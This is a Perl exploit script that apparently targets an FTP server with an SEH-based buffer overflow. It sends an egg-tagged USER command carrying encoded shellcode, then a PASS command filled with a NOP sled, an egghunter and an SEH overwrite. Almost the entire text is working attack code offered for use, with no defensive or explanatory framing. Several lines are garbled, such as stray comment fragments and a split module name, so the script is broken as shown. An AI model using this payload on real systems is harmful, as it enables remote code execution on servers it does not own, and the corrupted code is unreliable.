#!/usr/bin/perl
if ( scalar ( @ARGV ) != 2) { "Usage $0 host port\n" ; exit ; }
use IO:: Socket ::INET;
shellcode max
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" .
"WRGL" .
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" ;
'\x0a\x0d' -t perl
my $shell =
"\xd9\xeb\xd9\x74\x24\xf4\x5e\xbf\xe0\xdd\xfb\x11\x33\xc9" .
"\xb1\x32\x31\x7e\x1a\x83\xc6\x04\x03\x7e\x16\xe2\x15\x21" .
"\x13\x98\xd5\xda\xe4\xfb\x5c\x3f\xd5\x29\x3a\x4b\x44\xfe" .
"\x49\x19\x65\x75\x1f\x8a\xfe\xfb\xb7\xbd\xb7\xb6\xe1\xf0" .
"\x48\x77\x2d\x5e\x8a\x19\xd1\x9d\xdf\xf9\xe8\x6d\x12\xfb" .
"\x2d\x93\xdd\xa9\xe6\xdf\x4c\x5e\x83\xa2\x4c\x5f\x43\xa9" .
"\xed\x27\xe6\x6e\x99\x9d\xe9\xbe\x32\xa9\xa1\x26\x38\xf5" .
"\x11\x56\xed\xe5\x6d\x11\x9a\xde\x06\xa0\x4a\x2f\xe7\x92" .
"\xb2\xfc\xd6\x1a\x3f\xfc\x1f\x9c\xa0\x8b\x6b\xde\x5d\x8c" .
"\xa8\x9c\xb9\x19\x2c\x06\x49\xb9\x94\xb6\x9e\x5c\x5f\xb4" .
"\x6b\x2a\x07\xd9\x6a\xff\x3c\xe5\xe7\xfe\x92\x6f\xb3\x24" .
"\x36\x2b\x67\x44\x6f\x91\xc6\x79\x6f\x7d\xb6\xdf\xe4\x6c" .
"\xa3\x66\xa7\xfa\x32\xea\xd2\x42\x34\xf4\xdc\xe4\x5d\xc5" .
"\x57\x6b\x19\xda\xb2\xcf\xd5\x90\x9e\x66\x7e\x7d\x4b\x3b" .
"\xe3\x7e\xa6\x78\x1a\xfd\x42\x01\xd9\x1d\x27\x04\xa5\x99" .
"\xd4\x74\xb6\x4f\xda\x2b\xb7\x45\xb9\xa6\x23\x48\x58\x41" .
"\xc9\x94" ;
my $egg = "USER WRGLWRGL$shell\r\n" ;
my $usr = "USER anonymous\r\n" ;
my $pre = "PASS " . "\x90" x (797 - length ( $egghunter )) . $egghunter ;
my $seh1 = "\x90\x90\xEB\x80" ;
my $seh2 = "\xf0\x42\x41\x00" ;
SEH module), 0x004142f0
my $pad = "X" x 209 . "\r\n" ;
my $payload = $pre . $seh1 . $seh2 . $pad ;
my $sock = IO:: Socket ::INET->new( "$ARGV[0]:$ARGV[1]" ) or die "Unable to
connect !\n";
my $eggsock = IO:: Socket ::INET->new( "$ARGV[0]:$ARGV[1]" ) or die "Unable to
connect !\n";
print $eggsock $egg ;
sleep 1;
print $sock $usr ;
sleep 1;
print "Preparing exploit\n" ;
sleep 1;
print $sock $payload ;
print "Exploiting\n" ;
sleep 3;
print "Done\n" ;
|